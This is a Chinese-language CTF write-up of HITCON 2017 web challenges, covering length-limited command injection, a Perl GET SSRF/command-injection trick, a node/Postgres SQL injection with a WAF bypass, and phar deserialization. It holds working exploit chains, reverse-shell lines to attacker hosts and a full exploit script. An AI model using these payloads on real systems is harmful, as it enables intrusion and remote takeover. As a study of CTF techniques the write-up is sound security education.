Hitcon2017 Web Writeup

10天前的比赛今天才最后补完题,最近事情也多的烦,hctf也没能好好打一下,之后慢慢补一补,真的是时间不够用啊。

回到hitcon,即便是做好了心里准备还是被虐的很惨,还是太菜了,要学的东西太多了,慢慢来把,wp越往后越简略了。。。。

BabyFirst Revenge

简单粗暴的源码,如下:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

长度限定了五个字节的命令执行,看到这里很容易想到p神博客发的小密圈内的一些小技巧,其中有一个蓝猫师傅分享的长度限定在了7以内的命令执行如何getshell。 但是这里限定了长度为5,仔细思考一下,我们采取类似的思路,仍然是利用先创造一些能够组成最中我们getshell的文件名,然后通过ls组装起来写入新的文件(比如s),然后sh s从而实现getshell。

思路一

这里就可以延伸出两个思路,根据之前的思路我们知道在拼装的时候单独的ls>s是字典序,也可以ls -t>s按照时间顺序,但是显然长度超标了。同样的思路,我们可以吧ls -t>s写入文件。 但是这里由于我们长度为五,除了第一位的>和最后一位\,我们只有三位可控。 先看写ls -t>s,我们可以分为两次写入 如下:

//第一次写入ls,第二次利用>> 在文件后加上-t>s

http://172.17.0.2/?cmd=>ls\
http://172.17.0.2/?cmd=ls>_
http://172.17.0.2/?cmd=>\ \
http://172.17.0.2/?cmd=>-t\
http://172.17.0.2/?cmd=>\>g
http://172.17.0.2/?cmd=ls>>g

当然我们很容易发现其实其中引入了很多错误的bash命令

hitcon2017

虽然会报错,但是这并不影响从中间第五行开始到第八行组成的命令ls -t>s

也就是说现在我们可以通过执行sh _间接执行ls -t>s。 所以接下来就是跟蓝猫师傅的思路一样的走了。

//curl bendawang.site:8080>a

http://172.17.0.2/?cmd=>808\
http://172.17.0.2/?cmd=>te:\
http://172.17.0.2/?cmd=>.si\
http://172.17.0.2/?cmd=>ang\
http://172.17.0.2/?cmd=>daw\
http://172.17.0.2/?cmd=>ben\
http://172.17.0.2/?cmd=>l\ \
http://172.17.0.2/?cmd=>cur\

然后就是执行了

http://172.17.0.2/?cmd=sh _
http://172.17.0.2/?cmd=sh a

其中在远程放好如下内容:

bash -c "bash -i >& /dev/tcp/vpsip/vpsport 0<&1 2>&1"

即可getshell。

思路二

然后是另外一种思路,直接用ls,然后构造出字典序出来,这就需要特殊一点的域名了,比如蛋总买到了一个域名m37n4.xyz

就可以不用那么繁琐的一堆东西,就能直接构造出了:

http://172.17.0.2/?cmd=>cur\
http://172.17.0.2/?cmd=>l\ \
http://172.17.0.2/?cmd=>m37\
http://172.17.0.2/?cmd=>n4.\
http://172.17.0.2/?cmd=>xy\
http://172.17.0.2/?cmd=>z>0

http://172.17.0.2/?cmd=sh 0

借用了一下原wp的脚本:

import requests
from time import sleep
payload1 = [
    # generate `ls -t>s` file
    'http://172.17.0.2/?cmd=>ls\\',
    'http://172.17.0.2/?cmd=ls>_',
    'http://172.17.0.2/?cmd=>\ \\',
    'http://172.17.0.2/?cmd=>-t\\',
    'http://172.17.0.2/?cmd=>\>s',
    'http://172.17.0.2/?cmd=ls>>_',

    #generate `curl bendawang.site:8080>a`  file
    'http://172.17.0.2/?cmd=>a',
    'http://172.17.0.2/?cmd=>0\\>\\',
    'http://172.17.0.2/?cmd=>808\\',
    'http://172.17.0.2/?cmd=>te:\\',
    'http://172.17.0.2/?cmd=>.si\\',
    'http://172.17.0.2/?cmd=>ang\\',
    'http://172.17.0.2/?cmd=>daw\\',
    'http://172.17.0.2/?cmd=>ben\\',
    'http://172.17.0.2/?cmd=>l\ \\',
    'http://172.17.0.2/?cmd=>cur\\',

    'http://172.17.0.2/?cmd=sh _',
    'http://172.17.0.2/?cmd=sh s'
]
payload2 = [
    'http://172.17.0.2/?cmd=>cur\\',
    'http://172.17.0.2/?cmd=>l\ \\',
    'http://172.17.0.2/?cmd=>m37\\',
    'http://172.17.0.2/?cmd=>n4.\\',
    'http://172.17.0.2/?cmd=>xy\\',
    'http://172.17.0.2/?cmd=>z>0',
    'http://172.17.0.2/?cmd=ls>1',

    'http://172.17.0.2/?cmd=sh 1',

]

r = requests.get('http://172.17.0.2/?reset=1')
for i in payload1:
    r = requests.get(i)
    print i
    sleep(0.2)

思路三

来源

刚开始这个思路主要是15年的第一版的命令执行的思路,不必非要getshell,但是后续的操作真的给跪了。 首先通过tar命令打包下载文件

http://172.17.0.2/?reset=1
http://172.17.0.2/?cmd=>tar
http://172.17.0.2/?cmd=>vcf
http://172.17.0.2/?cmd=>zzz
http://172.17.0.2/?cmd=*%20/h*

先写了三个文件tarvcfz,然后执行命令* /h*,这样就等效于执行tar vcf zzz /h*。 这样就会把/h*打包到zzz之中,下载下来能够拿到/home下的hint,但是东西在数据库里面要怎么才能取出来呢。

接下来的思路才让我意识到我的脑回路有多局限了。

直接看:

curl 'http://172.17.0.2/?reset=1'
curl 'http://172.17.0.2/?cmd=>tar'
curl 'http://172.17.0.2/?cmd=>vcf'
curl 'http://172.17.0.2/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://172.17.0.2/?cmd=%2A%20%2Ft%2A'
curl 'http://172.17.0.2/?cmd=php%20z'

同样通过执行* /t*达到了执行tar vcf z /t*的效果, 相信大家意识到了,第五个请求,向它传递了一个文件,然后立即打包/t*到文件z,对的没错,利用上传生成的临时文件,将这个临时文件打包到z,然后用php执行,从而达到执行任意命令的目的。

BabyFirst Revenge v2

大晚上的猝不及防,升级版的前一个题,源码

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

唯一的变化就是长度卡到4个字节。。。。。给跪.jpg

看了wp,越发觉得我的脑子是不是该换了。。。。

思路和第一个题其实是一样的,但是由于限制了长度4,没办法利用>>二次写入了。

但是我们如果就这样是没法儿按照字典序直接写入ls -t>g到文件的。 因为这一串无论怎么分割写入都无法遵从字典序或是字典序的逆序。 但是这里利用的是ls的另外一个参数-h,这参数一般是和-l连用的,使显示的文件大小变成更便于人查看的k,M,G,但是这个参数裸用或是与某些别的参数连用就可能没有任何效果。但是它在这里对于形成字典序有着极大的帮助。

//由于有了h参数,可以按字典序写入`g>ht- sl`
http://172.17.0.2/?cmd=>dir
http://172.17.0.2/?cmd=>g\>
http://172.17.0.2/?cmd=>ht-
http://172.17.0.2/?cmd=>sl
http://172.17.0.2/?cmd=*>v

http://172.17.0.2/?cmd=>rev
http://172.17.0.2/?cmd=*v>x

之后的操作便如出一辙了,不再赘述。

SSRFME

又是简单的几行源码,学了个新姿势,源码如下:

<?php
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

看看这个姿势:

Hitcon2017-1

PS:GET 在 libwww-perl中,apt可安装。

至于原因,附带上rr师傅的博客 最新版的任然存在这个问题, 有了个命令执行,我们就可以随意搞了

http://172.17.0.2/?url=http://yourvps/&filename=a
http://172.17.0.2/?url=&filename=bash a|
http://172.17.0.2/?url=file:bash a|&filename=xxx

在你的vps上放置如下内容:

bash -i >& /dev/tcp/your_vps/port 0<&1 2>&1

既可以成功getshell。

SQL so Hard

nodejs写的 源码如下:


/**
 *  @HITCON CTF 2017
 *  @Author Orange Tsai
 */

const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");

const pool = mysql.createPool({
    connectionLimit: 100,
    host: "localhost",
    user: "ban",
    password: "ban",
    database: "bandb",
});

const client = new pg.Client({
    host: "localhost",
    user: "userdb",
    password: "userdb",
    database: "userdb",
});
client.connect();

const KEYWORDS = [
    "select",
    "union",
    "and",
    "or",
    "\\",
    "/",
    "*",
    " "
]

function waf(string) {
    for (var i in KEYWORDS) {
        var key = KEYWORDS[i];
        if (string.toLowerCase().indexOf(key) !== -1) {
            return true;
        }
    }
    return false;
}

const app = express();
app.use((req, res, next) => {
   var data = "";
   req.on("data", (chunk) => { data += chunk})
   req.on("end", () =>{
       req.body = qs.parse(data);
       next();
   })
})


app.all("/*", (req, res, next) => {
    if ("show_source" in req.query) {
        return res.end(fs.readFileSync(__filename));
    }
    if (req.path == "/") {
        return next();
    }

    var ip = req.connection.remoteAddress;
    var payload = "";
    for (var k in req.query) {
        if (waf(req.query[k])) {
            payload = req.query[k];
            break;
        }
    }
    for (var k in req.body) {
        if (waf(req.body[k])) {
            payload = req.body[k];
            break;
        }
    }

    if (payload.length > 0) {
        var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
    } else {
        var sql = `SELECT ?,?,?`;
    }

    return pool.query(sql, [ip, payload, payload], (err, rows) => {
        var sql = `SELECT * FROM blacklists WHERE ip=?`;
        return pool.query(sql, [ip], (err,rows) => {
            if ( rows.length == 0) {
                return next();
            } else {
                return res.end("Shame on you");
            }

        });
    });

});


app.get("/", (req, res) => {
    var sql = `SELECT * FROM blacklists GROUP BY ip`;
    return pool.query(sql, [], (err,rows) => {
        res.header("Content-Type", "text/html");
        var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
        for(var r in rows) {
            html += `${parseInt(r)+1}. ${rows[r].ip}\n`;

        }
        return res.end(html);
    });

});

app.post("/reg", (req, res) => {
    var username = req.body.username;
    var password = req.body.password;
    if (!username || !password || username.length < 4 || password.length < 4) {
        return res.end("Bye");
    }

    password = crypto.createHash("md5").update(password).digest("hex");
    var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
    return client.query(sql.split(";")[0], (err, rows) => {
        if (rows && rows.rowCount == 1) {
            return res.end("Reg OK");
        } else {
            return res.end("User taken");
        }
    });
});

app.listen(31337, () => {
    console.log("Listen OK");
});

p神发了一篇详细的分析文章,恰好那天中午吃饭刷推送的时候看到了,不过后来也没能做出来,主要想太想肝出第二个命令执行了。 补题时发现坑还是不少的。 关于这个洞大家可以自行分析P神博客的文章,我们回到这里代码,mysql用着好好的,突然用上了postgres,那肯定是命令执行了,这里有几点注意的地方,这里不是select语句,因此是不会有回传的字段值到P神分析的inlineParser函数,但是在postgres中有returning关键字,returning通常是配合with使用的。

这是postgres的我认为最好用的一个地方(PS:这里离线写的blog,没网络开官方doc,所以就没帖官方用法,有兴趣自己去查2333):

举个栗子把,比如我们想把表A的数据直接”剪切”到表B。 如果是mysql,我们会怎么办? 两步走:

  • insert into B(column1,column2….) select (column1,column2….) from A;
  • delete from A where xxxx;

但是在postgres里面可以直接这样

with columns as (
    delete from A where column1>xxxx and column2<xxxx  RETURNING *
) insert into B

这样大概应该就能理解RETURNING的作用了把,就相当于在其他语句里面执行一个select语句的作用,实际也是这样实现的。 而 insert 语句后面也能接returning语句,所以相当于执行了select,所以可以触发漏洞。

那么新的问题来了,怎么绕过过滤?

const KEYWORDS = [
    "select",
    "union",
    "and",
    "or",
    "\\",
    "/",
    "*",
    " "
]

琢磨了好久也想不到,最后看了wp学到了新姿势 max_allowed_packet设置,在mysql的配置文件里面,一般默认是16M,限制server一次性接受的数据包大小,所以超过大小的插入或是更新会导致受到限制而导致插入更新失败。 所以这里需要构造超过16M的数据发送过去,从而使得其插入黑名单失效,从而bypass掉过滤。 而且因为这个循环的关系:

hitcon2017-2

我们可以多个语句绕过,这里就不再写了,直接贴上官方脚本:

#!/usr/bin/env python
# encoding: utf-8

from random import randint
import requests
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/bin/bash -i >& /dev/tcp/97.64.111.133/12345 0>&1`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
            'username': username+payload,
            'password': 'AAAAAA'
       }
print 'ok'
url='http://127.0.0.1:31337/reg'
#url='http://13.113.21.59:31337/reg'
r = requests.post(url, data=data);
print r.content

baby^h-master-php-2017

这道题不贴代码了,LR师傅的博客和P师傅的代码审计小密圈也都分析过了,我就来学一个姿势。

这道题来看一下,看到Admin类里面的一个__destruct就大概能够知道这个考点在反序列化,然而怎么触发,见刊看一看check_session()就知道搞不动,后来看了wp,学点新操作: PHP在解析phar文件的Metadata的时候会触发反序列化,当使用phar://协议读取文件的时候,文件内容会被解析成phar对象。所以这里能够触发反序列化操作。 另外还有一个考点,关于匿名函数的名字的问题,都知道create_function创建的是匿名函数,而匿名函数也是有名字的,名字是\x00lambda_%d%d代表他是当前进程中的第几个匿名函数。通过大量请求,使目标Apache难以同时处理这么多请求,所以以Pre-fork模式启动的Apache会启动新进程来处理这个请求,就能够预测值了。